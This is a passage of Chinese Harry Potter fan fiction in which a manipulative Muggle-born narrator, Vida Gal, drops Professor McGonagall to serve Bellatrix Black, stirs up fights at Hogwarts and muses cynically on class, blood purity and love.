麦格教授震惊地眨眼,像是不敢相信自己听到了什么。她皱起眉毛,看向我只穿过一次的那双鞋子。它安静地被放在箱子里,现在连带着箱子一起摆放在桌子上。
教授对我说:“加尔小姐,你应该知道自己在做什么。”
我点点头:“我知道的,教授。她不想我和您在一起玩。”
我都知道,这个没有上帝的世界其实和外面并没有什么不同。外面有黑人和白人,这里有麻种和纯血。在外面,我侥幸是个白人;在这里我是个麻种。
黑人是奴隶,肮脏的,低下的,天生和犯罪绑定在一起的物种;麻种是低下的,肮脏的,天生和低劣绑定在一起的身份。这两者惊人的相似,都是外来者,都是天生决定的。
但是,归根究底又有什么不同呢?
麻种和黑人从母亲的肚子里爬出来,生下来就要喝/奶,吃的奶也是白的,血也是红的,与白人和纯血并没有什么不同。
他们能受到教育,也能受洗礼,黑人能做所有白人能做到的事,麻种也能做到所有纯血能做到的事。
黑人和白人一样信仰上帝,做好事就能上天堂,烧成灰就得迎接审判,水淹会死,犯罪会被关监狱——理论上是这样,只是黑人不犯罪也会被关监狱。这不是天生能决定的,而是秩序决定的。
于是,一部分黑人就去做白人的仆人,借着主人的名号,才能在清白的时候不被关监狱,偶尔还能得到赏钱。
在我看来,外面的秩序是这样,这里的秩序也应该是。
在成年的不好掌控的亲麻瓜教授和未成年的好掌控的排麻瓜小姐里,我投靠会将我使唤得心安理得,也会给我更多钱的小姐,这是很正常的。
*小姐会给我很多钱,因为她需要我的忠诚*
反而,教授不一样。她帮助我是出于好心而并非秩序上的虚荣,所以,她不需要我的回报,也不会给我多少好处。她是个正直的好心人,却对我来说没有用。
“教授。”我叫了她一声,又说,“我害怕成年人,成年人很危险。”
她眼波微动,似乎明白了什么。应该是想起我们初见时,我与羊躲在山洞里的模样。
破破烂烂的小孩,危险的丛林,以及对于小孩来说,比丛林更加危险的人类社会。
*我需要一个有权有势的靠山,所以,我放弃您了*
*放弃您,并且也放弃您引导我的那条辛苦且平庸的道路*
我想,她明白了。
9.魔鬼的破口
我将鞋子留在教授的办公室,走出来后站在楼梯上烦恼地踱步。
现在,我总算知道为什么好些男女都喜欢带着烟丝。有时候,我也想学他们来上一根。
放弃一条退路令我心中隐隐不安,在此之后,我将心绪完全放在如何从贝拉那里讨来同等利益上。我必须赚足我从麦格教授这里失去的,最好还能得到更多一点。
我在楼上转圈,贝拉在楼下转圈。她发夹上那根反光的缎面丝带在烛光照射下不断在我的视网膜中跳来跳去。我能低头看见她,她这样的小姐却很少做出抬头仰望的动作,于是就看不见我,只是一味在底下打转。
就让她帮我教训拉文克劳那帮人吧。我想着,趁她高兴的时候,让她也教训几个纯血,好让那些纯血种吃些苦头。当然,最好也让贝拉也吃点苦,这样她才能更看重我。
我喜欢让上头人都打起来,这样才更方便我站队。等到他们头破血流地偃旗息鼓,我再凑到他们身边嘘寒问暖,指天发誓,他们就在心灵上与我贴近一步。
做这种事是不需要什么良心的,我干得很自然,从母亲与父亲的斗争里我早就悟透了。只是,做这种事需要方法,直接代替他们冲锋陷阵是万万不能的,我只是一个应声虫,而不是战士。
没有人能让我去做战士。
见到我下楼,贝拉的眼睛先看向我空落落的双手,紧接着,她露出满意的笑容。她走到我面前,双手盖在我的头顶上轻轻抚摸,满意地称赞我为“好孩子”。
我也露出讨好的笑,接着,又泪眼汪汪地表示麦格教授很生气,在学校里最后一个会保护我的人也消失了。
“我也会保护你呀。”她说。
我摇摇头,又说了几个拉文克劳里和我冲突最激烈的人名。贝拉便像是想要展现什么一般,提着我打上门去。
我很高兴,特别是看着她和好几个人大吵一架。
那些人叫嚷着什么“加尔也不是什么好东西”“你真当我们在欺负她”之类的话之后,竟然就这样停下来了,真是没有意思,我还以为他们会打起来呢。
但是转念一想,这也是正常。越是自诩为上等人,就越会顾及颜面。明面上的暴力越来越少,他们对待同级和上级总是满面春风。
但是,对待我们这种“底层”就不一样了。
我一想到那些嘴脸,就恨得牙痒痒,在一边火上浇油地说她们把我的鞋子、衣服全部扔掉了。
我一边诉苦,一边将布莱克小姐高高架起来。她本来就是为我讨说法的,怎么能只是吵一架呢?我可不觉得所谓“布莱克”能做到靠言语就压住所有人的地步。我需要一个像羊一样能在学校这个丛林里为我冲锋陷阵的生物。
只有伤口才能诱发恐惧,威吓只能引发不平。
我左右拱火,最后,贝拉终于和他们打了一架。多打一的情况下,可怜的小姐当然被送进医疗翼,我则机灵地在他们打起来的时候就跑去斯莱特林院长办公室,大喊大叫告诉他布莱克被打了。
这大约是贝拉平生第一次挨打,医疗翼里挤满看望她的人。好多零食与礼物堆在床边,我羡慕地盯着那些东西,眼睛亮晶晶的,泪水在里面打转。
等到所有人离开后,我才走到她身边。贝拉烦躁地把一袋糖果丢在我身上。
“赏你了。”她说。接着,她整个人就陷入恼怒中,我知道这股怒火里有一部分是冲我来的,因为我让她丢脸了。就赶紧把糖果从地上捡起来,拆开包装,剥好放在她手心。
“她们实在是太坏了,居然这么多人打我们两个!”我义愤填膺地说,“好小姐,我以后一定和她们势不两立。”
她轻轻哼了一声,没再说些什么。她能责怪我吗?
当然不能!
她这样一位高贵的纯血,怎么能指责一个小小麻种打架时没帮她抗刀才导致她输了呢?
况且,我可是背叛了拉文克劳,直接跑去斯莱特林院长的办公室,千里迢迢地拉着她那个土豆一样的院长过来拉偏架。
我是忠诚的!
我脸上写满老实二字凑到她跟前,她被我挑起怒火,气不打一处来,伸出手使劲捏我的脸。然后又恨恨地说要报复回去。
报复好,愤怒好呀!
有怒火的人生才有奔头。
我立刻表示愿意为布莱克小姐效犬马之劳。
然后借口要写作业,带着她赏我的好些糖果溜溜达达地回到休息室。
今天难得是个好天气,塔楼上日光将玻璃照得透亮,好多人聚集在休息室里写作业、看书或者下棋。
实际上,拉文克劳很少发生斗殴这种明面上的冲突,大多数时候,他们能做到的极限就是把他人心爱的东西丢掉,然后暗中观察对方的窘态。
我挑唆贝拉过来大闹一场显然让这群自认为聪明绝顶的小孩子们吓破了胆,在此之前,我野蛮的作风也令他们对我退避三舍,贝拉的加入更是让他们知道,我是一头失控的野兽。
于是,一个与我没什么交集的女生被同伴推出来,她结结巴巴问我,要不要和她们一起下棋。
“真的吗?”我说,“我从来没有下过棋。”
“没事,很简单的,我们教你。”这个叫做路易莎的女生说。
我对她们不好,她们反而接纳了我,真有趣。
我走到棋桌边上,她们竟然真的是想教会我下棋。女孩子们认认真真把每个棋子的走位和我说了一遍之后,就开始带着我一起玩。
我玩了好几局,输的很惨,就恼羞成怒要离开。然后,好几个女生就央求我再来一局。她们围在我身边出谋划策,还真赢了。我知道这是她们在哄我,也乐意配合,装作欣喜的模样。
她们又提出想摸我的小羊。我把羊牵出来,她们问:“你以前一直带着这个吗?它会做什么?占卜吗?”
“不会。”我干巴巴地说。
“那它有什么作用呢?”
“它会顶人。”我说,“如果遇到危险,把它留下来也能拖延时间。再说,羊比我值钱多了,无论动物还是人,都会优先选择抓羊。”
我的羊听着,发出叫唤声。那双黄色的长着横瞳的眼睛令人害怕,她们也
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不再摸它了。
贝拉在医疗翼只待了一天,我和她说,自从她去警告过那些拉文克劳之后,大家对我好多了。可惜,她只高兴了一会,接着就脸色阴沉沉地看着我,问我是不是在拿她当枪使。
我装作听不懂的样子,兴高采烈地描述那些女生带我下棋。
“好了,够了!”她打断我,指责道:“你昨天才发誓和她们势不两立。”
我立刻闭上嘴,装作被吓到的样子。她又说:“行了,你要知道,有我在你才能好过一点。”
我当然知道这一点,于是凑上去再次表忠心,“好心的贝拉小姐,慈悲的贝拉小姐。”
贝拉特里克斯最受不了我用这样的词称赞她,大概是这人心底还有几分自知之明。她把我的脸推开,继续冷哼,随后发誓要和拉文克劳里那几个纯血势不两立。
我觉得贝拉这人特较真。但是又耐着性子哄她几句。之后她再闹脾气,我就抱着脑袋说作业还没有写完,害怕几位教授罚我,说完就要跑回休息室。
但是刚刚被我夸完好心的布莱克小姐却一把抓住我的领子:“好哇,”她说,“你不提我还忘了这件事。你从小就不念书,竟然现在还能在拉文克劳混日子。”
她指挥道:“你现在把作业拿过来,在我眼皮子底下写。”
我沉默片刻,耳中什么都听不到了,嘴唇无力地蠕动两下。万籁俱寂的大脑里只剩下一个本能般地声音
——我要拿医疗室的毒药毒死她!
毒药没被我翻到,大概是院长中毒之后这些教师终于意识到把魔药到处乱放是一件危险事。我磨磨蹭蹭地走出医疗翼,数着台阶走上塔楼,每一步都无比痛苦。
等到我缓慢地掏出作业,走进医疗翼时,正见到贝拉的妹妹在和她说话。姐妹两头靠在一块,声音很小。
我心里立刻犯嘀咕:她们是不是在说我的坏话?
对了,就是这样,这群斯莱特林的臭纯血一直看不起我。
安多米达那头棕色的头发梳成一个辫子,随着她说话摆来摆去。我缩到帘子后,鬼鬼祟祟地偷听,就听见她说:“贝拉,你怎么和那个牧羊女又玩到一起去了?”
贝拉的声音变得很尖利:“怎么,你要和爸爸妈妈告状吗?安多米达,你要是敢说,我一定饶不了你!”
“她根本不是正常人,当年她——”
“够了!”贝拉打断道,“谁对我好我还分不清吗?而且她就是一个小孩,有什么坏心眼能对着我使。况且她能为了我去打莱斯特兰奇们——妈妈问起来,你就说她现在非常听我的话。”
两姐妹之间又沉默片刻。安多米达道:“随便你吧,但是她毕竟是个麻种。”
“她和别人又不一样,爸爸妈妈不也有好几个麻种打手吗?”
咦,贝拉竟然想雇我打架吗?我在帘子后面弄出点动静,这两姐妹齐刷刷地看过来。
我也不怕她们发现我偷听,理直气壮地跑到贝拉床边上:“贝拉,我和其他人不一样,是不是?”
“所以我也不用学习那么好,对不对?”
10.产妇的血病
可恶,撒娇失败了。贝拉和安多米达两个人盯着我写作业。
安多米达搬来一张小凳子,就坐在我边上。她说,她要好好看看我的作业为什么每次都会被好几位教授点名批评。
贝拉有些不高兴了,她说:“那些教授什么都不知道,维达又没读过书。”
“读过的,读过的。”我赶紧说,真害怕这人马上就要教我字母的几种写法。
老老实实地捏着笔没有几分钟,我就开始思考坐在这里写作业是否有什么实际意义。对于我而言,施法并不是什么难事,巫师与麻瓜的不同之处不就是念咒语么。如果我能够施法,正确地念出咒语,那我之后去做一个麻瓜又有什么关系呢?
我把这个想法告诉贝拉,这位小姐立刻皮笑肉不笑地开始讽刺我,说我不学无术。然后,她又许诺我,如果我能在圣诞节之前得到好成绩,她就会送我一个圣诞礼物。
圣诞节太远了,我试图站起来跑掉。安多米达立刻按住我,她也说:“维达,如果你写完今天的作业,我就让贝拉周末去霍格莫德的时候给你买糖果。”
还要周末呢。我继续蠢蠢欲动。
贝拉忍不了了,举起沙包大的拳头揍了我一顿。我十分不服,脸上挂着情绪,安多米达从贝拉床头的礼物堆里随便拿了一个塞到我手上。
“写作业吧!”她说。
我趴在桌子上痛苦地写作业。一旦有不服从的念头,就想想被贝拉放在桌子一角的礼物。好不容易写完,生怕她们拽着我补课,飞也似的卷着作业逃走。
之后,我像是被布莱克家这两个坏女人控制了。安多米达觉得我总在暗地里教唆贝拉,就借着她和我同一年级的便利,天天看着我。贝拉觉得我与安多米达过于亲密了,多次警告我离她妹妹远点,让我平时多跟着她,她会带我认识些像样的朋友。
我就像被两条狗抢来抢去的布娃娃,她们两个扯得高兴,到头来受伤的还是我。
周五下午,在这两个坏蛋的监视下,我快速又高效地完成作业。安多米达看了看她才写到一半的论文,盯着我的本子。
“我写的比较快。”我狡辩道。
贝拉把我的作业抽走,快速地给每一处拼写错误画圈。我痛苦地闭上眼睛,只希望这一切都是一场梦。然后鬼鬼祟祟地企图溜出斯莱特林的休息室。
“布莱克,你们两个怎么又把这个麻种带进来了!”有个我不认识的斯莱特林在我溜到一半的时候突然大喊。
他是故意的!
我恼怒地瞪向他,又乖巧且隐忍地坐回到位置上,盯着摆在桌子上的糖果,好像对它起了浓厚的兴趣。
贝拉觑我一眼,像是没发现我逃跑一样,打开糖果罐,拿了一颗出来塞进我嘴里。
“你管我带谁进来。”贝拉说。
“你们三个怎么不去图书馆?”那个人接着问。
贝拉被问得烦了,大声拍桌子。我缩缩脑袋,她最近越来越吓人了,脾气很差,动不动就打人。之前我们在图书馆,可惜图书馆里不能吃东西,安多米达就建议把我带回休息室。
斯莱特林对我这样的人确实不太友好,我一进来,好多人就喊我麻种或者更难听的。贝拉闹了好久,又是骂人又是打人。后来,这些人就不太理我,一直将我当成空气。
只是偶尔给我使绊子罢了。
我立刻瞪大双眼,狠狠记下这个可恶家伙的脸。
布莱克家的两位小姐现在是我的衣食父母,我不能教训她们就算了,难道还真能让随便一个斯莱特林爬到我头上来。
可能是我面上的表情过于凶狠,又或者我麻种的脸实在是污人眼球——说起来真是可怜,这群人光是和麻种待在一个大房间里都要死掉了,那他们出生是干嘛的呢?真是平白让他们的父母伤心——这位纯血小先生先我一步移开视线。
安多米达的手轻轻盖在我的头顶。我心里想过无数种秋后算账的场面,收起脸上愤愤的神色,刚想开口,就被贝拉拍了一下脑门:“你看看你到底在写什么。”
我闭上眼,生无可恋地接过本子——至此,贝拉小姐的教师扮演游戏终于结束了。她放过我,也放过她自己:这篇论文终于由贝拉口述,我抄写,安多米达盯着纠错告终。
我想,说不定我们从来都没有离开那个小镇的午后。布莱克一家在春日和煦的日光中享受野餐,孩子们在过家家,至于我,就是那个被抓过来扮演谁都不愿意当的小孩子的流浪儿。
等到我离开地窖,路过礼堂,盯着天边上那枚橙红色的太阳重重吐息。
这样好的阳光,好久都没有见到了。
就在我难得诗兴大发,心里升起一些柔软浪漫的念头时,一些走廊上的只言片语传入我的耳中。
大约是什么外面有了一个极端保守主义团伙,像白人至上那样试图使纯血至上。
我听过两耳朵,但是不感兴趣。白人至上那也是男人——中产阶级以上的男人的事情。向我这样的底层女人和与我一样的底层男性与黑人比起来也好不到那里去,中产女人也一样。像这种团伙,动动脚趾头想也知道是忽悠选票和金钱的。
至于纯血至上,那就更扯淡了。因为肤色问题不会因为几代黑人结婚而漂白——巫师却会。什么是纯血?
父母都是麻种巫师的巫师是纯血,还是父母都是混血巫师的巫师是纯血,又或者父母都是纯血巫师的巫师是纯血?
哎呀呀,总不能像那些犹太佬一样遵循什么“一滴血原则”吧。
难道萨拉查·斯莱特林祖上从猴子开始数,都是猴子巫师吗?
算了,这种团伙估计就是一个骗子政客弄出来忽悠像布莱克那样的家族的。把他们哄开心了,让他们给钱。
至于可怜的维达·加尔,等大魔术师加尔发财了,有了许多许多钱,说不定也能弄出一个孤儿至上主义。
相信维达·加尔小姐吧,维达·加尔
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小姐这样的在人类、丛林之间都能生活下来的才是真正的强者。
我这样想着,把自己逗笑了。只觉得说不定以后能劝贝拉把她的小孩丢进山林里,让未来的纯血大小姐大少爷也过一过野人的日子。
那帮在走廊上支持“纯血至上”的家伙看见我的笑脸,看不得我过得好。便不怀好意地围过来。
“你在笑什么,加尔?”其中领头的问我。
“我为什么要告诉你?”我不惧怕他们,像他们这种人,找借口都是费神费力的无用功。他们就是看不惯我,因为我是麻种,他们打麻种,就像蛇去吃小虫子,猫去抓壁虎,就这么简单。
我要做的就是告诉他们,我是蝎子,是老虎,是他们惹不起的敌人。
我一旦硬气起来,这帮家伙的气焰就消沉下去。种族主义大多都是纸老虎,特别是这帮连主心骨都没有的,更是一盘散沙。他们挑衅我就像是狼群里的那些小崽子总是不知死活地试探首领一样,万一呢?
万一狼王受伤或者老了呢?
十分遗憾,我没受伤,也很年轻,所以我把他们打了一顿。然后喜提禁闭。
要我说,学校里这帮教授也是纸老虎。既然放任种族主义在学校里盛行,那不如就干脆恢复决斗制,麻种、混血、纯血早早地就上台操练一番,省得私斗不断。这样也早早为未来走进丛林做准备嘛。
我将这个想法告诉领我去劳动的费尔奇,费尔奇警告我不要当崇古派,因为更早之前,城堡里还能把小巫师吊起来上刑。
“真的吗?你被吊起来过吗?”我问这个看起来年纪相当大的管理员。
他撇我一眼,不说话。我立刻大声叹气:“哎呀,可惜现在不能再把人吊起来了,也不能和同学上台决斗了。”
“我对制造决斗事故相当拿手哦。”
管理员不理会我大放厥词,他把抹布往我手上一塞:“希望你对打扫卫生也相当拿手,加尔小姐。”
我讨厌打扫卫生。
从农场开始就讨厌至极。
布莱克家的两位小姐对这场决斗表现得相当冷淡,或者说,她们忽视了我与那些废物之间的争端。我也知道,她们是站在纯血那一边的,就只能十分不满地抱怨这帮人对我不友好。
贝拉不会为我的血统问题向纯血讨要一个说法,这与开学时的霸凌不一样。
安多米达也不会,这个女孩子连打架都没学会呢。只不过,她与贝拉又不同。她会安慰我血统不那么重要,甚至隐隐透出几分不赞成,并希望在我这里得到认同。
我从这对姐妹观念的细微不同中嗅到一丝撕裂的迹象,转转眼珠,哄二小姐道:“是呀,他们为什么突然打我呀,难道就因为我在走廊笑了一下吗?他们太坏了!安多米达,他们为什么那么坏呀!”
安多米达搜罗语言向我解释这帮纯血论者,说着说着,陷入沉默。
“好痛!”我抱着脸,打断她的思绪。
11.法利赛人的手
如果贝拉正高兴她把一只狼变成了狗,那么麦格教授就完全痛心疾首于我服从贝拉。
借着我和那群种族主义者斗殴,她难得没有批评我,反而问我:如果跟在贝拉特里克斯·布莱克小姐的身边,我每天都只能遇见这样的一群人,我会高兴吗?
这个问题确实问到我的心坎上。贝拉固然好,但是她真的能好到让我心甘情愿地忍受一帮蠢材的歧视吗?
我没有给出答案,反倒是敏感多思的贝拉察觉到我近日的观察、游移和审视。
我越来越多地将视线停留在那帮喊我“泥巴种”的她的同类身上,没有打骂他们,反而罕见地露出思考的样子。
维达·加尔在思考!
贝拉特里克斯·布莱克显然也意识到我的权衡。她从来都是知道她的朋友不会变成我的朋友,也知道我不喜欢她的朋友。我们之间有着极深的隔阂,甚至这种隔阂是与生俱来的、无可逾越的。
我早就说过,贝拉需要我。她需要一位全心全意的崇拜者、一位追随者。她是一个心高气傲又自以为是的大小姐,而我又恰好在农场时代就创造这一需求、并满足她。于是,在她的朋友圈子里,她找不到我的替代品,再向下,又觉得人不如故。
只要我没有触及到这位大小姐的底线,她就绝对不会放弃我。
而这位小姐的底线又是什么呢?
——除另择他主之外,没有底线。
我是一个像人的动物,或者像动物的人。她的认知里,我十分愚笨、暴躁、直率,是一个完美的受到丑化的麻种形象。她驯服我,就像她的家庭教育过的纯血巫师驯服麻种巫师那样完美。她需要我来抬高她,于是,她就不得不扮演一位完美的“纯血主人”。
——高尚、大方、优雅、仁慈
她不能令我受到其他人的伤害,也不允许我效忠于其他人。哪怕在她等级森严的观念里,我比任何纯血都低等,我仍有教训纯血的权力,因为这也是她凌驾于其他纯血之上的象征。
所以,当我的观念发生动摇时,这位小姐那被纯血父母养得无比率真的脑子就开始思考:她是否对我缺乏关注与照顾。
接着,就自然地开始施恩与我,换取我的支持。她先是放松对我学业的管教,之后又给我一大笔零花钱,后来又问我想要什么周末礼物,她会去霍格莫德给我买来。
我得了礼物与钱,觉得贝拉对我还是比较好的,就继续捧着她。
做狗嘛,总要爆冲几次,才能让牵着绳子的人知道平日里的安分是多么难得。
于是,只要那些纯血一折腾我,我就折腾布莱克姐妹。贝拉被惹急了,也开始和我站在一处,警告那些人我是布莱克罩着的,叫他们离我远一些。
这样的次数多了,竟然也有一些纯血把我看成“自己人”——当然不是朋友,而是“朋友家的仆人”这种角色。
只是她也完全把自己当成我的大家长,和安多米达这个二家长一起管教我。
圣诞节临近,这两位准备回到布莱克家。安多米达不停和我说要按时吃饭、荤素搭配这样的话,贝拉则警告我好好写作业,每天把写完的作业寄给她。我闭上眼睛,不敢相信这是现实。
她们两个就这样坐着列车离开了,回到属于布莱克的那个精致美丽又温暖的家,只留下我在寒冷的雪地里翻滚。我盯着她们的背影,嫉妒得咬住袖子,牙齿几乎把布料撕扯开,知道两腮酸痛,脚也在地上冻得失去知觉。
多罪恶的节日!
它把我们原本温馨可爱的小家撕碎,把贝拉和安多米达从我身边夺走,把她们放回那个无聊的纯血家族,又把我留在这个四面透风空落落的巢穴。
送走她们,我的生活骤然无趣起来。大家都是有家庭的人,一年到头忙来忙去,围着父母转悠,唯恐他们忘了自己,少了那么一两个月的零花钱。
而我却是个没有家庭的人。
我剥开糖果——这是从贝拉的箱子里拿出来的。她自愿奉上钥匙、糖果和衣物,抚养我这个孤儿。糖果缓慢融化在嘴巴里,从可喜的食物,变化成混合唾液的污物。我觉得这一过程十分奇妙,就像是人本身令它变得污秽不堪。
换言之,人在潜意识里就知晓自己是污秽的、他人更是污秽的,这是他们憎恶自己,憎恶同类的一种条件反射。就像我们看见雨就会站在树状的建筑下,下雪就会簇拥在一起一样。
如果一个人能够发自内心地接受他人,甚至认为他人的污秽程度与自我相同——那么这就是爱了——他们互相抚摸、接吻,将自己的种种不堪暴露于爱侣面前,从身到心。所以,相爱就是一种剥离、切割的过程,就像是在剥皮。
由此,爱也是一个痛苦的过程。因为剥离——无论是身体还是心理,都是羞耻的。
我们的礼仪是不教会人相爱的。人需要穿衣服,这是智慧,是反伊甸、反上帝的行为。人类吃下知晓善恶的果实,却反而开始伪装自我,正是因为人类是邪恶的,又渴善的。
衣服是一种美好的表象、罪恶的伪装,心理上的衣服也是——人类为群居创造出重重道德、伦理也是。我们伪装美好,却又距离美好越远;渴望真实的爱,却又被教导着距离爱越远。
我们从知晓善恶的那一刻就开始明白自我之恶,我们开始伪装、成为魔鬼,自然不能住在伊甸。我们厌恶自我,自然就失去天生的第一个“爱”。
——自我之爱。
由此,为弥补爱之空白,我们又创造出新的爱——群居之爱。
伊甸是美好的,人间是痛苦的,人类的弱小令这个由他们种族命名的世界危机四伏。他们必须生活在一起,必须相爱。这一爱并非上帝创造,而是人类创造,又借由上帝之口传达。它有益于人类,却是人类的谎言。
因此,这一爱多数时刻会令人感到痛苦、背叛与仇恨。
爱之主体的变化从自我接受转化为对他人的接受
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,从自我坦白到互相剥离。而人之秩序又告诉我们,暴露是可耻的,于是,爱又化为一场精神折磨。
我盯着山楂树从,慢慢思考着爱与上帝这样的观念,觉得自己实在是一个天才。心里又多了一些对自己的敬服。我思考这一切,想象自己成为一位哲学家或者先知。
这大概也是我能够被分进拉文克劳的原因吧。
我爱自己,却无法爱上人类,我生活在人间,却无法回到伊甸。提起人就满心仇恨、痛苦,哪怕是一个绝世大好人站在我面前,我也忍不住去嫉妒、怨恨,这是为什么呢?
我无法得出答案,可能是思考的仍不够多。
回到礼堂,今天的午餐有一碗鱼汤。可惜汤有些冷了,导致里面的奶油与鱼的结合格外油腻。冬天果然不适合食用这种食物,然而,它既然出现在餐桌上,甚至出现在我的碗中,我就会平静地将它喝下去。
野兽也是有珍惜食物的美德的。
估摸着时间,我将圣诞礼物寄往布莱克家。我做了一个鸟巢,又用山羊毛戳了三个圆乎乎的蛋,两只黑色的,一只黑底带着白点——它们象征着贝拉特里克斯、安多米达和我。
公用猫头鹰就这样拍打着翅膀消失在夜色里,它小小的黑乎乎的身影在离开前用喙尖轻啄我的手指,应该是想向我讨要什么奖赏。我给它一块从餐桌上摸过来的饼干。
今天维达·加尔小姐心情好,赏你了。
我在心底说。
舌尖也不由自主地在“赏”这个字上滑过,像是涂过黄油一样又香又甜。我的心情变得极好,高兴地回到寝室,抱着我的小羊,两只动物就这样靠着窗户和地毯陷入梦乡。
我与羊的每一个冬天都是这样度过的。我也是一只群居的需要温暖的野兽,于是,我将群体之爱寄托在羊身上,羊也生来是群居动物,它也将同样的爱交付给我。
我们相爱得十分美满。
清晨,我收到贝拉与安多米达的礼物。
贝拉先是在信中抱怨我不应该将两个人的礼物合在一起,因为这不符合礼仪。随后,她又叮嘱我把昨天和今天计划表上的作业寄过来。我看的很不高兴,就在心底骂她是个扫兴的人。
安多米达也在她的信里委婉提示我应该学会区分两个人的礼物,因为她和贝拉不住在同一个房间。贝拉很喜欢我的鸟巢和卵,她全部拿走了,只给安多米达留下一个软绵绵黑乎乎的“安多米达蛋”。
她们两个的礼物也被寄过来。贝拉送给我一只金灿灿的怀表,我怀疑是黄金的,应该很值钱。表盘上不仅刻着时间,还显示了我今天应该完成的计划。我合上表盖,咦,怎么出幻觉了,不管了,我什么都没看到。
安多米达送给我一捆薄被子,居然是热乎乎的,它很快被羊占据。然后,我又摸到一包饼干,很熟悉的味道,应该是那个叫做克利切的家养小精灵做的。
真是心灵手巧。
维达喜欢你。
12.富有的官
第二天早晨仍旧是一成不变的生活,羊粗糙的舌头舔在我的脸上,睁着黄色的眼睛一眨不眨地望着窗户外面。它大约是闷坏了,我将窗户打开,它就蹬着小脚停在玻璃窗下面。
寒冬作为一位恶客就这样驾临于我的房间,它带着冰、雪与风一起抚摸我的身体,也轻抚羊发灰的毛皮。我与它的脸上快速掠过一丝阴影。我把窗户关起来,又拨弄了一下炉子里的煤,去盥洗室刷牙。
牙膏是薄荷味的,贝拉小姐厌恶柠檬。如今,这种从翠绿植物中提取出来的东西在我味蕾上不断蹦跳,化作尖锐的针刺我的嘴唇。冲干净牙刷和口腔之后,我趴在镜子前仔细观察自己的嘴唇,发现它红的吓人。
我讨厌薄荷,喜欢柠檬。
又等到一个早餐时间到来,我无聊地咀嚼着嘴里的面包片,想象那些离开的同学家中早餐,心里颇有些不是滋味。叉子就在餐盘里戳来戳去,将煎蛋捣成一团碎片。我又拿了一点肉,准备和最后的蛋一起吃下去。
这时,一只猫头鹰火急火燎地飞进来,扔下一封红色的信件后快速拍动翅膀飞出餐厅。
咦?
是寄给我的信吗?
是贝拉吗?
我伸出手,紧接着,就被信件表面的温度烫到缩回来。
恶作剧吗?
维达小姐闻到了危险的味道。
微微睁大眼睛,我感受到生活再次充满激情。是谁呢?是谁呢?谁准备再次向我发起进攻?
冬天一直以来都是一个无聊的季节,野兽缩回巢穴,等到暴雪与寒风过去,等着等着,饥肠辘辘。
我挥舞餐刀,带着迫不及待地心情割开这片薄薄的、火红色的信封。猪油留在眼熟的蛇形徽章上,在烫金外壳上留下不可磨灭的味道。
我是如此热情地与“朋友”分享早餐,渴望在对方身上留下种种不雅的痕迹。
【一封吼叫信】
“维达·加尔。”我听见一位女士极力维持自己彬彬有礼的态度,这应该是一种攻击手段,是用礼仪来区分阶级的手段。但是,这与我有什么关系呢?她平静傲慢的嗓音因为吼叫信高亢的不可修改的格式愤怒而变得格外滑稽。
对了,第二句是什么?
“我希望你拥有自知之明。”
希望是一种飘渺至极的东西,现实是不会因为希望而发生改变的。真是一种天真的想法,布莱克太太。
听起来,圣诞节的第二天,布莱克家就因为我引发一场巨大的风波。导致这位只与我见过两面的夫人来信警告我离她的两个女儿远一点。只是,她只认识到我与他们家阶级上的不平等,又在极度愤怒中仍认为我与他们拥有同样的道德。
就好像他们将一部分所谓“高贵”的影子投射到我身上,认为乞丐与国王共享一套道德体系。
实话实说!
道德这种东西本身就是根据社会阶层构造的。
奴隶有奴隶的道德,所谓奴隶,所谓黑鬼,就需要勤劳、勤劳、勤劳!因为这是他们创造价值的唯一方式。奴隶的道德里不包含智慧、善良、礼仪,奴隶作为工具,最好的状态就是泯灭人性,像一个锄头、一只铁锹一样。
国王是最特殊的阶级。最好的国王要对国家负责,其次是臣子、子女,最后是百姓。从国王的角度,百姓只是需要变得善良的奴隶。善良是百姓的道德,聪明是臣子的道德——至于国王——国王没有道德。
国王是这个世界上最不需要道德的阶级,因为他已经不需要为任何人服务,他也不再提供任何价值,他是一个完全的脱产者——完完整整的一个人——一个全新的阶级。
他只需要礼仪将自己与其他阶级区分开,之后便随心所欲。
因为没有道德,所以国王的种种行为在他次一级,也就是臣子、子女看来是不可理解甚至愚蠢可怕的。他仅仅由礼仪构造,于是就诞生出道德之外的残忍。这种残忍或许非国王本意,但是它投射到下一阶级、下下阶级,就是残忍——因为他强迫其他阶级违背了阶级道德。
只有有道德的阶级才会注意道德,道德是信誉和此阶级的礼仪,是他们用来区分自己与下一阶级的工具。不同阶级的人无法清晰认知对方阶级的道德,就像是富小姐无法想象农奴为何像母猪一样生孩子、死孩子。
于是,阶级上的残忍就这样诞生了,这种残忍不仅仅是上对下的,也是下对上的。
上层阶级不经意之间就可以摧毁下层阶级,下层阶级也可以用更质朴的手段报复上层阶级。
布莱克家显然无法成为国王阶级,布莱克太太也不是国王,所以她需要礼仪与道德。
她认为一封来自纯血家族的吼叫信能对我造成羞辱和伤害,而我也可以等到贝拉和安多米达回来,用她的两个亲亲宝贝狠狠报复回去。
我并不爱贝拉和安多米达,就像我不爱薄荷一样。她们是我心中应持有“勤劳”美德的阶级,而非礼仪与善良的阶级。
至于布莱克太太,显然是陷入攻击的误区,她试图贬低我,又将我当成一个堂堂正正的人。
这怎么办呢?
只能怪她有礼貌吧。
我平静地望着信纸在桌子上烧成灰烬,好奇地继续用刀叉戳弄那团物质——仅此而已吗?
我还以为他们会在上面留下一个诅咒呢?
不过,也可能是不想在霍格沃茨动手,留下糟糕的名声吧。总不能是因为他们善良吧?
灰烬留在沾染黄色油脂的餐叉表面,黑乎乎的,薄薄的一层。我突发奇想般将它举到面前,轻轻舔了一口。
和普通的草木灰一样,没什么特别的。
真是的,我还以为这里会有布莱克太太那高贵的愤怒味呢,没想到什么都没有啊。
礼堂空空荡荡,即使是教师,大部分也在圣诞节有自己的去处。圣诞节彩带孤零零地在那颗被砍下来的杉树上晃荡
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,当初布置的时候是如何热情洋溢,现在就有多冷清。我把灰烬留在长桌上,又吃了一个蛋糕,才打着呵欠离开。
之后几天也没有什么变化,直到假期结束,贝拉回来,我才猛然记起,好像没有一天写过作业。
正当我准备蹑手蹑脚地溜走时,这位看起来在家中收到不少折磨的富小姐才冷笑一声。她白皙纤长的手掌伸到我面前,我讪笑着,果然,巴掌落在我头顶上。
像训狗一样。
“痛死了!”我立刻大叫,“我能解释的,贝拉,我有苦衷!”
必须改掉她这个打人的坏毛病!
“你说。”她绷起脸。
“你妈妈把我骂了一顿。”我告状道,果然,她脸上略过一片阴影,眼底好像有些发青。我凑过去,盯着她看了好一会,“贝拉,你瘦了好多哦。”
